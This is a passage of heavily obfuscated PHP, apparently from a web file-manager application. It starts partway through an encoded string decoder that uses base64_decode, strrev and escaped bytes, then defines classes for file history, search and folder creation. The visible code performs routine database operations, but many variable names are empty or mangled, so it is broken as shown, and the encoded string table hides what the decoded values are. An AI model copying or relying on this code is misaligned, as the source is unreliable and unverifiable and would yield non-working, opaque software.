(*%91<ynC38D\'wv?ﴋ').strrev('gyƢ'."\n".'x-Oq3'."\0".'cY_:bȘ2"rX:VG@>N')."\xd7\x5d\xad\x97\xb\xb8\x7b\x46\x4b\x38\x5e\x13\x94\xd3\x7\xd\x3b\x91\x92\x76\xc9\xc5\x99\xc5\xe9\xf9\xa2\xc1\x86\x6\x94\xee\x87\xbb\xb5\x6c\xac\xdd\xba\x3\x51\x49\x51\x7b\x24\xe3\x9f\xb8\x59\xa2\xc\x6d".base64_decode('UcliNAuXFJsTR9lxhgCXpVm4bFE2K1w0rqScrRWscbpXPHigi0qW6LDQ2Eig441nSeDizw==').base64_decode('ASa6oYnyqnQrhM7JZW5RqhUlgcdthRtayBx4B1oqx2Gz5OQopeg2yylBqSkVGteYSRj4FA==')."\xb3\xc\x91\x57\xc2\xdc\x88\x7e\x12\x4b\x3f\xb2\x1b\xc7\x12\xd9\xb2\xed\x52\x69\xeb\xa6\x68\x49\x2a\x63\x39\xcd\x8e\x5c\xe9\xf2\x0\x81\xa3\x71\x90\xa0\x1\x81\x91\x8\x96\x36\xfa\x84\x59\x27\xbb\xd5\x31\xd9"."\301\112\12\331\276\254\311\331\123\122\130\355\142\311\51\220\167\217\163\121\155\116\324\317\26\44\227\357\45\57\231\170\260\142\250\130\5\223\326\370\155\77\141\371\106\367\314\246\155\44\164\247".strrev('2m]z,3$T`;#Cqf$ $%0XhjKIg#y_')."\x27\x71\x6e\x4e\x59\x38\xcd\x8e\x99\x79\xdb\x83\xf3\xe2\x66\x8e\xfc\xd6\x99\xb6\x2d\xac\x49\xa8\x5e\x88\x88\xd9\x98\xf\x7b\x24\x63\x29\x14\x12\xa7\x9c\xb8\x51\xe4\xf8\x8c\xa0\x2d\xa1\x58\x24\x8\x7\xf1\x58".base64_decode('4RLTaS6hc44IPpbjEZnNwoF8Y8FlMiAS+sxklznEXCgivJIGSRzcaW7ZUohFgIqy6RdxNQ==').base64_decode('Yvlpjh8eMfKSOuCVVF9vrsdRnL47yQ23v6wGUN6LKugLJkSTCnfUYvFYUVZrIBZbGok20A==')."\7\117\212\262\111\51\311\300\256\50\253\265\51\322\62\136\136\260\71\20\12\27\345\141\133\274\26\125\70\343\244\131\241\126\322\112\162\366\74\136\53\102\365\213\105\113\212\175\240\262\263\262"."\60\74\244\51\346\105\72\73\312\245\114\166\44\304\340\143\132\232\51\203\244\263\5\75\43\274\265\212\62\116\35\227\74\377\26\163\253\314\3\316\127\6\135\246\261\14\261\241\42\154\131\327"."\2\165\107\163\220\212\37\212\341\364\201\313\371\302\274\303\347\60\3\221\322\311\32\42\104\111\302\115\231\337\223\204\51\45\7\110\76\153\50\76\7\43\271\142\0\160\303\116\61\301\130\263"."\327\354\222\316\271\350\56\13\356\230\303\220\112\326\223\64\354\310\266\265\236\222\326\20\124\205\214\251\204\120\356\376\37\310\363\153\175\16\271\0\0".base64_decode('')."".base64_decode(''), 10, -8))); goto a޸̏; a: $fileSize = strrev(base64_decode($_SERVER[ɧ][0])); function binCheckNeq($ʶ, $) { return $ʶ != $; } $_SERVER[$_SERVER[ɧ][1]] = $fileSize($_SERVER[$_SERVER[ɧ][2]]); goto E㘝; f: class SourceHistoryModel extends ModelBase { protected $tableName = "\x69\x6f\137\163\157\x75\x72\x63\x65\x5f\150\x69\x73\x74\x6f\162\x79"; public function historyCount($Ӄ) { $ =& $_SERVER[ׇ]; if (!$Ӄ) { return array(); } if (is_string($Ӄ) || is_int($Ӄ)) { $Ӄ = array($Ӄ); } $ᠭ = array($[193], $[2004] => $[565]); $‡ = array($[193] => array($[7], $Ӄ)); $ = $this->field($ᠭ)->where($‡)->group($[193])->select(); return array_to_keyvalue($, $[193], $[565]); } public function addHistory($Ơ, $ݬ = '') { $ЮЕ =& $_SERVER[ׇ]; $ = array($ЮЕ[491] => $Ơ[$ЮЕ[193]], $ЮЕ[1763] => isset($Ơ[$ЮЕ[529]]) ? $Ơ[$ЮЕ[529]] : $Ơ[$ЮЕ[527]], $ЮЕ[542] => $Ơ[$ЮЕ[541]], $ЮЕ[617] => $Ơ[$ЮЕ[79]], $ЮЕ[2221] => $ݬ); if ($GLOBALS[$ЮЕ[6]][$ЮЕ[92]][$ЮЕ[1302]] >= 1) { $this->historyAutoClear($[$ЮЕ[193]]); $this->add($); } Hook::trigger($ЮЕ[2222], $); Model($ЮЕ[2223])->eventFileEdit($Ơ[$ЮЕ[193]]); } private function historyAutoClear($ɸ) { $ş߃ =& $_SERVER[ׇ]; $ = Model($ş߃[843])->get($ş߃[1324]); $ё = intval($GLOBALS[$ş߃[6]][$ş߃[92]][$ş߃[1302]]); $ = $ == $ş߃[1325] ? min(5, $ё) : $ё; $ = $ <= 0 ? 0 : $ - 1; if ($ >= 499) { return; } $Ή = array($ş߃[491] => $ɸ); $宛 = $this->field($ş߃[2224])->where($Ή)->order($ş߃[2218])->select(); if (!$宛 || $ >= count($宛)) { return; } $ = array_to_keyvalue($宛, $ş߃[12], $ş߃[475]); $ = array_slice($, $); $й = array_to_keyvalue($宛, $ş߃[12], $ş߃[541]); $й = array_slice($й, $); if (!$ || !$й) { return; } $Ή = array($ş߃[493] => array($ş߃[7], $)); $this->where($Ή)->delete(); Model($ş߃[544])->remove($й); } public function listData($Ӗ) { $ =& $_SERVER[ׇ]; $ = array($Â[491] => $Ӗ); $ʍ = $Â[2225]; $ = $this->field($ʍ)->where($)->order($Â[2218])->selectPage(); $this->_listAppendUser($[$Â[445]]); $ = Model($Â[843])->get($Â[1324]); $‰ = 5; if ($ == $Â[1325]) { $[$Â[445]] = array_slice($[$Â[445]], 0, $‰); $[$Â[442]] = array($Â[2226] => 1, $Â[2227] => 20, $Â[2228] => 1, $Â[2229] => count($[$Â[445]])); } return $; } protected function _listAppendUser(&$) { $Ā =& $_SERVER[ׇ]; $ = array_to_keyvalue($, $Ā[12], $Ā[1772]); $絨坮 = Model($Ā[598])->userListInfo($); foreach ($ as &$䌇) { $ = $䌇[$Ā[1772]]; $䌇[$Ā[527]] = $絨坮[$] ? $絨坮[$] : !1; } unset($䌇); } public function fileInfo($ϟߓ) { $ڳ =& $_SERVER[ׇ]; $Ɗ = $this->tablePrefix; $ś = "{$Ɗ}\151\157\x5f\146\151\154\x65\40\146\151\x6c\145\x73\40\x6f\156\40\x66\151\x6c\145\x73\x2e\146\x69\x6c\145\x49\x44\x20\x3d\40\x68\x69\163\164\x6f\x72\171\x2e\x66\x69\154\145\111\x44"; return $this->alias($ڳ[2230])->where(array($ڳ[493] => $ϟߓ))->join($ś, $ڳ[2231])->find(); } public function removeItem($Ὂ) { $ =& $_SERVER[ׇ]; $ = array($[493] => $Ὂ); $ͯԿ = $this->where($)->find(); if ($ͯԿ) { $À = $this->where($)->delete(); Model($[544])->remove($ͯԿ[$[541]]); return $À; } return !1; } public function removeBySource($З여) { $Ϛ =& $_SERVER[ׇ]; if (!$З여) { return !1; } if (!is_array($З여)) { $З여 = array($З여); } $ɿ = array($Ϛ[491] => array($Ϛ[7], $З여)); $їȱ = $this->field($Ϛ[542])->where($ɿ)->select(); if ($їȱ) { $this->where($ɿ)->delete(); $Ӑ = array_to_keyvalue($їȱ, $Ϛ[12], $Ϛ[541]); Model($Ϛ[544])->remove($Ӑ); } return !0; } public function setDetail($, $б馄) { $Ь =& $_SERVER[ׇ]; return $this->where(array($Ь[493] => $))->save(array($Ь[2221] => $б馄)); } public function rollbackToItem($, $) { $ה =& $_SERVER[ׇ]; $ѿ÷ = Model($ה[897])->sourceInfo($); $this->addHistory($ѿ÷, LNG($ה[2232])); $ = $this->find($); $ = array($ה[541] => $[$ה[541]], $ה[79] => $[$ה[79]], $ה[88] => time(), $ה[529] => USER_ID); Model($ה[897])->where(array($ה[193] => $))->save($); return $this->where(array($ה[493] => $))->delete(); } public function clearSame($ݧ) { $ϼ =& $_SERVER[ׇ]; $˒ = $this->listData($ݧ); $ץ = array_to_keyvalue_group($˒, $ϼ[541]); $ = array(); $ = array(); foreach ($ץ as $) { if (!$ || count($) <= 1) { continue; } foreach ($ as $ں) { $[] = $ں[$ϼ[541]]; $[] = $ں[$ϼ[475]]; } } if (!$) { return; } $this->where(array($ϼ[475] => array($ϼ[7], $)))->delete(); Model($ϼ[544])->remove($); } public function userSpace() { $ =& $_SERVER[ׇ]; $ = $this->tablePrefix; $ɐ = array($[1763] => USER_ID); $ = "{$}\x69\x6f\137\146\x69\x6c\x65\40\x66\151\154\145\163\40\x6f\156\x20\x66\151\154\145\x73\x2e\146\151\154\x65\x49\104\x20\x3d\x20\x68\x69\x73\164\x6f\x72\171\56\146\151\x6c\x65\x49\x44"; return $this->alias($[2230])->where($ɐ)->join($, $[2231])->sum($[79]); } } class SourceListSearchModel extends SourceListMoveModel { public static function fileTypeWhere($ܻ) { $ج =& $_SERVER[ׇ]; $ɪ = KodIO::fileTypeList(); $䰒 = $ɪ[$ܻ]; if (!$䰒) { return array(); } $ې˝ = $䰒[$ج[169]]; $埈 = $ج[7]; if (!$䰒[$ج[169]]) { $ = array_to_keyvalue($ɪ, $ج[12], $ج[169]); $ې˝ = implode($ج[50], $); $埈 = $ج[2233]; } $ = explode($ج[50], trim($ې˝, $ج[50])); return array($埈, $); } public function listPathType($ڻ) { $ =& $_SERVER[ׇ]; $ = $this->fileTypeWhere($ڻ); if (!$) { return array(); } $ѡ = USER_ID; $ڀ = Model($[598])->getInfo($ѡ); $Ҟ = array($[648] => SourceModel::TYPE_USER, $[584] => array($[612], $[594] . $ڀ[$[90]][$[193]] . $[613]), $[649] => $ѡ, $[646] => 0, $[647] => $); return $this->listSource($Ҟ); } public function listSearch($̾, $ = 300) { $Ɵ =& $_SERVER[ׇ]; if (isset($̾[$Ɵ[2069]]) && $̾[$Ɵ[2069]]) { $̾[$Ɵ[2069]] = str_replace($Ɵ[460], $Ɵ[2234], trim($̾[$Ɵ[2069]])); } $ = $this->_parseSearchWhere($̾); if (!isset($[$Ɵ[505]])) { $[$Ɵ[505]] = 0; } $ī޼ = $Ɵ[2235]; $ = $; $ܢ = $ī޼; $this->_listSearchBindPinyin($̾, $, $ī޼); $this->alias($Ɵ[519])->_makeOrder(); $ = $this->parseWhereLike($); $ = $this->distinct(!0)->field($ī޼)->where($)->selectPage($); if ($GLOBALS[$Ɵ[6]][$Ɵ[457]][$Ɵ[458]] && Input::check($̾[$Ɵ[2069]], $Ɵ[655]) && $[$Ɵ[442]][$Ɵ[429]] == 1 && $[$Ɵ[442]][$Ɵ[443]] == 0) { $ = $this->distinct(!0)->field($ī޼)->where($)->limit(1000)->select(); $ = array_page_split($, !1, $); } $this->_listSearchFileContent($, $̾, $ܢ, $); $this->_listSearchDesc($, $̾, $ܢ); $this->_listSearchTag($, $̾, $ܢ); $this->_listSearchGroupTag($, $̾, $ܢ); $this->_listDataApply($[$Ɵ[445]]); $this->_listMake($); return $; } private function _listSearchFileContent(&$, $, $ܭ, $) { $И =& $_SERVER[ׇ]; if (!$[$И[2069]] || $[$И[442]][$И[429]] > 1) { return; } if (!isset($[$И[32]]) || !is_array($[$И[541]])) { return; } $[$И[541]] = array($И[7], $[$И[541]]); unset($[$И[32]]); unset($[$И[541]]); $ = $this->field($ܭ)->where($)->limit($И[2236])->select(); if (!$ || count($) == 0) { return; } $[$И[445]] = array_merge($, $[$И[445]]); $[$И[442]][$И[443]] += count($); } private function _listSearchTag(&$, $Œ, $λ) { $ =& $_SERVER[ׇ]; if (!$Œ[$[2069]] || $[$[442]][$[429]] > 1) { return; } $ = Model($[2237])->listData(); $Ċ = array(); $Ǵ = $Œ[$[2069]]; foreach ($ as $) { $ֻ = $[$[32]]; $٧ = str_replace($[53], $[12], Pinyin::get($ֻ)); if (stripos($ֻ, $Ǵ) !== !1 || stripos($٧, $Ǵ) !== !1) { $Ċ[] = $[$[475]]; } } if (!$Ċ) { return; } $ҝ = array($[500] => array($[7], $Ċ), $[1772] => USER_ID); $臲 = Model($[502])->field($[87])->where($ҝ)->select(); $臲 = array_to_keyvalue($臲, $[12], $[87]); $ = array_unique($臲); $this->_listSearchMerge($, $Œ, $λ, $); } private function _listSearchDesc(&$Λ, $ޒԄ, $Љ) { $ =& $_SERVER[ׇ]; if (!$ޒԄ[$[2069]] || $Λ[$[442]][$[429]] > 1) { return; } $̇ = array($[97] => $[526], $[450] => array($[459], $[2071] . $ޒԄ[$[2069]] . $[2071])); $ = !1; if ($) { $ހ = $this->listSearchChildren($ޒԄ[$[192]]); $ހ = array_unique($ހ); if (!$ހ) { return; } $̇[$[193]] = array($[7], $ހ); } $ = Model($[632])->field($[193])->where($̇)->limit(5000)->select(); $ = array_to_keyvalue($, $[12], $[193]); $this->_listSearchMerge($Λ, $ޒԄ, $Љ, $); } private function _listSearchGroupTag(&$փ, $, $) { $Ύ =& $_SERVER[ׇ]; if (!$[$Ύ[2069]] || $փ[$Ύ[442]][$Ύ[429]] > 1 || !$[$Ύ[192]]) { return; } $ը = $this->sourceInfo($[$Ύ[192]]); if (!$ը || $ը[$Ύ[190]] != SourceModel::TYPE_GROUP) { return; } $ = $ը[$Ύ[569]]; $ = Model($Ύ[2238])->get($); $ڟ = array(); $ = $[$Ύ[2069]]; foreach ($[$Ύ[445]] as $) { $ = $[$Ύ[32]]; $֓ = str_replace($Ύ[53], $Ύ[12], Pinyin::get($)); if (stripos($, $) !== !1 || stripos($֓, $) !== !1) { $ڟ[] = $[$Ύ[475]]; } } if (!$ڟ) { return; } $ = array($Ύ[500] => array($Ύ[7], $ڟ), $Ύ[1772] => 0, $Ύ[33] => $Ύ[2091] . $); $ = Model($Ύ[502])->field($Ύ[87])->where($)->select(); $ = array_to_keyvalue($, $Ύ[12], $Ύ[87]); $ݯ = array_unique($); $this->_listSearchMerge($փ, $, $, $ݯ); } private function _listSearchMerge(&$, $Ӟ枳, $, $ၡ) { $վѯ =& $_SERVER[ׇ]; if (!$ၡ) { return; } $˪ = array_to_keyvalue($[$վѯ[445]], $վѯ[12], $վѯ[193]); $Ғ = array_diff($ၡ, $˪); if (!$Ғ) { return; } $ = array($վѯ[193] => array($վѯ[7], $Ғ)); $τӸք = $this->field($)->where($)->select(); if (!$τӸք) { return; } $͛ = array(); foreach ($τӸք as $ӎ) { if ($this->_listSearchFilter($ӎ, $Ӟ枳)) { $͛[] = $ӎ; } } $[$վѯ[445]] = array_merge($͛, $[$վѯ[445]]); $[$վѯ[442]][$վѯ[443]] += count($͛); } private function _listSearchFilter($, $) { $֢ =& $_SERVER[ׇ]; $ = $[$֢[485]] == $֢[91]; if (!strstr($[$֢[584]], $֢[50] . $[$֢[192]] . $֢[50])) { return !1; } if (isset($[$֢[486]]) && $[$֢[486]] != $֢[849]) { if ($[$֢[486]] == $֢[78] && !$) { return !1; } if ($[$֢[486]] != $֢[78] && $) { return !1; } if (!strstr($[$֢[169]], $֢[50] . $[$֢[486]] . $֢[50])) { return !1; } } if (isset($[$֢[2239]]) && $[$֢[2239]] < $[$֢[79]]) { return !1; } if (isset($[$֢[2240]]) && $[$֢[2240]] > $[$֢[79]]) { return !1; } if (isset($[$֢[662]]) && $[$֢[662]] != $[$֢[529]]) { return !1; } return !0; } public function listSearchChildren($ۓ, $ą = 5000) { $Տô =& $_SERVER[ׇ]; $ޞߏ = array(); $ʸ = $this->sourceInfo($ۓ); $ = array($Տô[584] => array($Տô[459], $ʸ[$Տô[584]] . $ʸ[$Տô[193]] . $Տô[613])); $Η = $this->field($Տô[79])->where($)->limit($ą + 1)->select(); $Կ = is_array($Η) ? count($Η) : 0; if ($Կ > $ą) { return $this->_listSearchChildrenNear($ۓ, $ą); } $Ί = $this->field($Տô[193])->where($)->select(); $ޞߏ = array_to_keyvalue($Ί, $Տô[12], $Տô[193]); return $ޞߏ; } private function _listSearchChildrenNear($, $) { $ =& $_SERVER[ׇ]; $ǒӨۜ = array(); $Ϗ = array($[192] => $); $ʶ㭲 = $this->field($[2241])->where($Ϗ)->select(); $ֲȬ = array_to_keyvalue(array_filter_by_field($ʶ㭲, $[485], $[91]), $[12], $[193]); $ǒӨۜ = array_merge($ǒӨۜ, array_to_keyvalue($ʶ㭲, $[12], $[193])); if (!$ֲȬ) { return $ǒӨۜ; } $Ϗ = array($[192] => array($[7], $ֲȬ)); $ʶ㭲 = $this->field($[2241])->where($Ϗ)->limit($)->select(); $ǒӨۜ = array_merge($ǒӨۜ, array_to_keyvalue($ʶ㭲, $[12], $[193])); $ǒӨۜ = array_slice($ǒӨۜ, 0, intval($)); return $ǒӨۜ; } private function _listSearchBindPinyin($Ο, &$߬Ȓ, &$ðտ) { $錅 =& $_SERVER[ׇ]; if (!isset($Ο[$錅[2069]]) || !$Ο[$錅[2069]]) { return; } if (!Input::check($Ο[$錅[2069]], $錅[394]) || strlen($Ο[$錅[2069]]) < 2) { return; } $ˬę = "\114\105\x46\124\x20\112\x4f\111\116\40{$this->tablePrefix}\151\x6f\137\163\x6f\x75\162\x63\x65\x5f\155\x65\164\141\x20\155\x65\164\141\x20\157\156\x20\x73\x6f\165\x72\143\x65\56\163\x6f\x75\162\143\145\x49\x44\40\x3d\40\x6d\145\164\141\x2e\163\157\165\162\x63\145\x49\104"; $ = array(); $ðտ = str_replace(array($錅[262], $錅[53], $錅[2242]), $錅[12], $ðտ); $ðտ = $錅[511] . str_replace($錅[50], $錅[512], $ðտ); $ = $߬Ȓ[$錅[32]]; unset($߬Ȓ[$錅[32]]); foreach ($߬Ȓ as $ => $쑛) { $[$錅[511] . $] = $쑛; } foreach ($ as $) { $[] = array($錅[516] => $, $錅[1078] => $錅[2073], array($錅[2243] => $, $錅[2244] => array($錅[7], array($錅[538], $錅[537])))); } $this->join($ˬę); $߬Ȓ = $; } private function _parseSearchWhere($۔) { $Ц =& $_SERVER[ׇ]; $ = array(); if (isset($۔[$Ц[833]]) && $۔[$Ц[833]]) { $[$Ц[88]] = array($Ц[2245], $۔[$Ц[833]]); } if (isset($۔[$Ц[834]]) && $۔[$Ц[834]]) { $ԛ = array($Ц[2246], $۔[$Ц[834]]); if ($[$Ц[88]]) { $[$Ц[88]] = array($[$Ц[88]], $ԛ, $Ц[2247]); } else { $[$Ц[88]] = $ԛ; } } if (isset($۔[$Ц[2239]]) && $۔[$Ц[2239]] > 0) { $[$Ц[79]] = array($Ц[2245], $۔[$Ц[2239]]); } if (isset($۔[$Ц[2240]]) && $۔[$Ц[2240]]) { $ԛ = array($Ц[2246], $۔[$Ц[2240]]); if ($[$Ц[79]]) { $[$Ц[79]] = array($[$Ц[79]], $ԛ, $Ц[2247]); } else { $[$Ц[79]] = $ԛ; } } if (isset($۔[$Ц[662]]) && $۔[$Ц[662]]) { $[] = array($Ц[529] => $۔[$Ц[662]], $Ц[527] => $۔[$Ц[662]], $Ц[1078] => $Ц[2073]); } if (isset($۔[$Ц[486]]) && $۔[$Ц[486]]) { $ߵ = $۔[$Ц[486]]; if ($ߵ == $Ц[78]) { $[$Ц[485]] = 1; } else { if ($ߵ == $Ц[2248]) { $[$Ц[485]] = 0; } else { if ($ߵ) { $ߵ = is_array($ߵ) ? $ߵ : explode($Ц[50], $ߵ); $[$Ц[486]] = array($Ц[492], $ߵ); $[$Ц[485]] = 0; } } } } $this->_parseSearchParent($۔, $); if (isset($۔[$Ц[2069]]) && trim($۔[$Ц[2069]])) { $эя = trim($۔[$Ц[2069]]); $ = explode($Ц[53], $эя); if (strlen($эя) > 2 && (substr($эя, 0, 1) == $Ц[121] && substr($эя, -1) == $Ц[121]) || substr($эя, 0, 1) == $Ц[58] && substr($эя, -1) == $Ц[58]) { $эя = substr($эя, 1, -1); $ = array($эя); } $[$Ц[32]] = array(array($Ц[612], $Ц[2071] . $эя . $Ц[2071])); if (count($) > 1) { $[$Ц[32]] = array(); foreach ($ as $ǩ) { if (!trim($ǩ)) { continue; } $[$Ц[32]][] = array($Ц[612], $Ц[2071] . trim($ǩ) . $Ц[2071]); } } } return $; } private function _parseSearchParent($, &$ٛ) { $ա =& $_SERVER[ׇ]; if (!isset($[$ա[192]]) || !$[$ա[192]]) { return; } $ = $this->pathInfo($[$ա[192]]); $ٓ = $[$ա[192]] . $ա[12] === $ա[228]; $˒ = $[$ա[190]] == $ա[578]; if ($[$ա[595]] == $ա[596]) { $ = $this->sourceInfo($[$ա[192]]); $[$ա[584]] = $[$ա[584]]; } $ٛ[$ա[652]] = array($ա[612], $[$ա[584]] . $[$ա[192]] . $ա[613]); $ = isset($[$ա[1929]]) && in_array($ա[578], $[$ա[1929]]); if (!$ || !$˒ || !$ٓ || !$[$ա[487]]) { return; } if (!AuthModel::authCheckRoot($[$ա[487]][$ա[488]])) { return; } $џ = $[$ա[569]] . $ա[12]; if ($џ == $ա[91]) { unset($ٛ[$ա[652]]); $ٛ[$ա[190]] = self::TYPE_GROUP; return; } $ = Model($ա[585])->groupChildrenAll($џ); $΀ = count($); if ($΀ <= 1) { return; } $ٳ = array($ա[192] => 0, $ա[190] => self::TYPE_GROUP, $ա[569] => array($ա[7], $)); $ = $this->field($ա[2249])->where($ٳ)->limit($΀)->select(); $ٛ[$ա[652]] = array(); foreach ($ as $) { $ٛ[$ա[652]][] = array($ա[612], $ա[594] . $[$ա[193]] . $ա[613]); } $ٛ[$ա[652]][] = $ա[2073]; } } class SourceModel extends SourceListSearchModel { public $statusIgnoreResetSpace = false; public function userRootAdd($) { $њ =& $_SERVER[ׇ]; $ = Model($њ[577])->where(array($њ[1763] => $))->find(); $ = $this->_mkdirRoot(SourceModel::TYPE_USER, $, $[$њ[32]]); $this->userDesktopAdd($); return $; } public function userDesktopAdd($) { $ᒠ =& $_SERVER[ׇ]; $ٿ = LNG($ᒠ[2250]); $Ƣ = $this->mkdir($, $ٿ); $this->metaSet($Ƣ, $ᒠ[2251], $ᒠ[91]); $this->metaSet($, $ᒠ[2252], $Ƣ); } public function userPathSafeAdd($) { $֟ =& $_SERVER[ׇ]; $ʄ = Model($֟[577])->getInfoFull($); if (!$ʄ) { return !1; } if (_get($ʄ, $֟[599])) { return $ʄ[$֟[539]][$֟[2253]]; } $ɱ = $this->_mkdirRoot(SourceModel::TYPE_USER, $, $֟[2254], $֟[506]); Model($֟[577])->metaSet($, $֟[2253], $ɱ); $this->metaSet($ɱ, $֟[2255], $); return $ɱ; } public function groupRootAdd($ן) { $ =& $_SERVER[ׇ]; $ = Model($[585])->where(array($[2063] => $ן))->find(); return $this->_mkdirRoot(SourceModel::TYPE_GROUP, $ן, $[$[32]]); } public function systemRootPathAdd($ǀ) { if ($ǀ != $_SERVER[ׇ][605]) { return !1; } return $this->_mkdirRoot(SourceModel::TYPE_SYSTEM, 0, $ǀ); } public function userRootRemove($Ϳ) { $ꆸ = $this->targetSourceRoot(SourceModel::TYPE_USER, $Ϳ, !0); foreach ($ꆸ as $) { if (!$) { continue; } $this->remove($[$_SERVER[ׇ][193]], !1); } } public function groupRootRemove($钨) { $ = $this->targetSourceRoot(SourceModel::TYPE_GROUP, $钨); if (!$) { return; } $this->remove($[$_SERVER[ׇ][193]], !1); } private function _mkdirRoot($紳, $, $߮, $񝸼 = '') { $ݽ =& $_SERVER[ׇ]; $ى = defined($ݽ[2197]) ? USER_ID : 0; $ۇ = array($ݽ[477] => 0, $ݽ[648] => $紳, $ݽ[649] => $, $ݽ[646] => 1, $ݽ[650] => $ى, $ݽ[651] => $ى, $ݽ[647] => $񝸼, $ݽ[652] => $ݽ[594], $ݽ[504] => 0, $ݽ[617] => 0, $ݽ[542] => 0, $ݽ[653] => $ݽ[12]); if ($Ȏ = $this->where($ۇ)->find()) { return $Ȏ[$ݽ[193]]; } $ȅ = "\x4d\157\144\x65\x6c\x53\x6f\165\x72\x63\x65\56\x6d\153\144\x69\162\122\157\x6f\164\x2e{$紳}\x2e{$}\56" . $߮; CacheLock::lock($ȅ); $ۇ[$ݽ[32]] = $߮; $ = $this->add($ۇ); $ = array($ݽ[654] => short_id($)); $this->where(array($ݽ[491] => $))->save($); CacheLock::unlock($ȅ); return $; } private function targetSourceRoot($۽–, $ňİ, $䆧 = false) { $ =& $_SERVER[ׇ]; $ʀ = array($[477] => 0, $[648] => $۽–, $[649] => $ňİ); if ($䆧) { $ώ = $this->where($ʀ)->select(); return $ώ ? $ώ : array(); } $ž = $this->where($ʀ)->find(); return $ž ? $ž : array(); } public function sourceRootGroup($) { $ =& $_SERVER[ׇ]; if (is_string($)) { $ = array($); } $Π = $this->listSourceRoot(SourceModel::TYPE_GROUP, $, $[220]); $ = array($[445] => $Π, $[442] => array($[831] => count($))); $this->_listDataApply($[$[445]]); $this->_listMake($); return array_to_keyvalue($[$[85]], $[569]); } public function mkfile($ѓ, $֋, $ = '', $᭿ = REPEAT_RENAME) { $ =& $_SERVER[ׇ]; $֒ = Model($[674])->addFileByContent($, $֋); return $this->_createFileCall($ѓ, $֋, $֒, $᭿, $[1430]); } public function addFile($ðĽ, $ڧ, $͠, $ = false, $ڪڂ = REPEAT_RENAME) { $ = Model($_SERVER[ׇ][674])->addFile($ڧ, $͠, $); return $this->_createFileCall($ðĽ, $͠, $, $ڪڂ); } public function addFileByFileID($ݯ, $ʼ, $߆, $ = REPEAT_RENAME) { $ =& $_SERVER[ׇ]; $鶢 = Model($[674])->find($ʼ); Model($[674])->linkAdd($ʼ); return $this->_createFileCall($ݯ, $߆, $鶢, $); } public function addFileByRemote($, $, $Ѳ, $ = array(), $ؐ = REPEAT_RENAME) { $ = Model($_SERVER[ׇ][674])->addFileByRemote($, $Ѳ, $); return $this->_createFileCall($, $Ѳ, $, $ؐ); } private function _createFileCall($, $, $, $, $ = "\x75\x70\x6c\157\x61\x64") { $Г =& $_SERVER[ׇ]; $ڎᡑ = !1; $this->setMasterDB(); $this->lockWriteStart($, $); $ߦݫ = $this->fileNameExist($, $); $װ = $this->_createFile($, $, $, $, $ڎᡑ); if (!$ڎᡑ) { Model($Г[544])->remove($[$Г[541]]); } if ($ڎᡑ && $װ && $װ != $ߦݫ) { Model($Г[2223])->eventCreate($װ, $); } $this->lockWriteEnd($, $); return $װ; } public function mkdir($ҍ㽘, $˛, $ݥ = REPEAT_SKIP) { $ =& $_SERVER[ׇ]; $this->setMasterDB(); $Չ = $this->sourceInfo($ҍ㽘); if (!$Չ) { return !1; } $this->lockWriteStart($ҍ㽘, $˛); if ($ݥ !== !1) { $ = $this->fileNameExist($ҍ㽘, $˛); if ($ && $ݥ != REPEAT_RENAME_FOLDER) { $this->lockWriteEnd($ҍ㽘, $˛); return $; } $˛ = $this->fileNameAuto($ҍ㽘, $˛, $ݥ); } $ǰ = array($[646] => 1, $[494] => $˛, $[647] => $[12], $[542] => 0, $[617] => 0); $ũ = $this->_addSource($ǰ, $Չ); Model($[2223])->eventCreate($ũ, $[1431]); $this->lockWriteEnd($ҍ㽘, $˛); return $ũ; } public function listSourceRoot($Ū, $ߢ, $ = "\x73\x6f\x75\x72\x63\x65\111\104\54\164\141\x72\x67\x65\164\111\x44\54\x73\151\172\145") { $ =& $_SERVER[ׇ]; $ݘ = $[454]; $֝ = array(); $ = 1024 * 50; $ٽ = is_array($ٽ) ? $ٽ : array(); $ = count($ߢ); $ = $this->tablePrefix . $[2256]; for ($ = 0; $ < $; $++) { $񃺫 = $ߢ[$]; $ݘ .= "\123\x45\114\105\x43\x54\40\52\x20\x46\122\117\115\40\50\x53\105\x4c\105\103\x54\x20{$}\x20\x46\122\x4f\x4d\40\x60{$}\x60\x20\x57\x48\105\122\x45\40"; $ݘ .= "\x60\160\141\162\145\x6e\164\x49\x44\140\x3d\60\x20\x41\116\104\x20\x60\164\141\x72\147\x65\164\111\x44\140\75{$񃺫}\x20\x41\x4e\x44\x20\x60\164\x61\x72\x67\145\164\124\x79\160\x65\140\x3d{$Ū}\40\141\156\144\40\146\151\154\145\124\x79\x70\145\x3d\x27\x27\40\x6c\151\x6d\x69\x74\40\61\x29\x20\x61\x73\40\164\x62\137{$}\x20\125\116\x49\117\x4e\40\x41\114\114\40"; if ((strlen($ݘ) >= $ || $ == $ - 1) && $ݘ) { $ݘ = substr($ݘ, 0, -strlen($[1116])); $ = $this->query($ݘ); $ݘ = $[12]; $֝ = array_merge($֝, $); } } return $֝; } private function _createFile($, $, $, $ñ, &$) { $߻ =& $_SERVER[ׇ]; $ʷ = $this->sourceInfo($); if (!$ || !$ʷ) { return !1; } if ($ñ !== !1) { $ݡ = $this->fileNameExist($, $); } $ = !0; if ($ñ && $ݡ) { if ($ñ == REPEAT_SKIP) { $ = !1; return $ݡ; } else { if ($ñ == REPEAT_REPLACE) { $ʙ = $this->sourceInfo($ݡ); $ = $this->fileHistory($ʙ, $[$߻[541]], $[$߻[79]]); if (!$) { $ = !1; } else { $this->folderSizeReset($); } return $ݡ; } else { $ = $this->fileNameAuto($, $, $ñ, !1); } } } $ = array($߻[646] => 0, $߻[494] => $, $߻[647] => substr(get_path_ext($), 0, 10), $߻[542] => $[$߻[541]], $߻[617] => $[$߻[79]]); $ = $this->_addSource($, $ʷ); $this->folderSizeReset($, intval($[$߻[79]])); return $; } protected function fileHistory($nj͖, $ڇ, $Щ) { $ނ =& $_SERVER[ׇ]; if ($nj͖[$ނ[541]] == $ڇ) { return !1; } $this->checkLock($nj͖[$ނ[193]], $ڇ); Model($ނ[2257])->addHistory($nj͖); $Ρ = array($ނ[651] => USER_ID, $ނ[498] => time(), $ނ[541] => $ڇ, $ނ[79] => $Щ); $this->where(array($ނ[491] => $nj͖[$ނ[193]]))->save($Ρ); $this->sourceCacheClear($nj͖[$ނ[193]]); return !0; } public function checkLock($Ԏ, $) { $ =& $_SERVER[ׇ]; $ߎ = $this->pathInfo($Ԏ); if (!$this->fileIsLock($ߎ, !0)) { return; } $ = Session::get($[2258]); $ޚ = substr($ߎ[$[32]], 0, -1 - strlen($ߎ[$[169]])) . $[1293] . $ . $[10] . 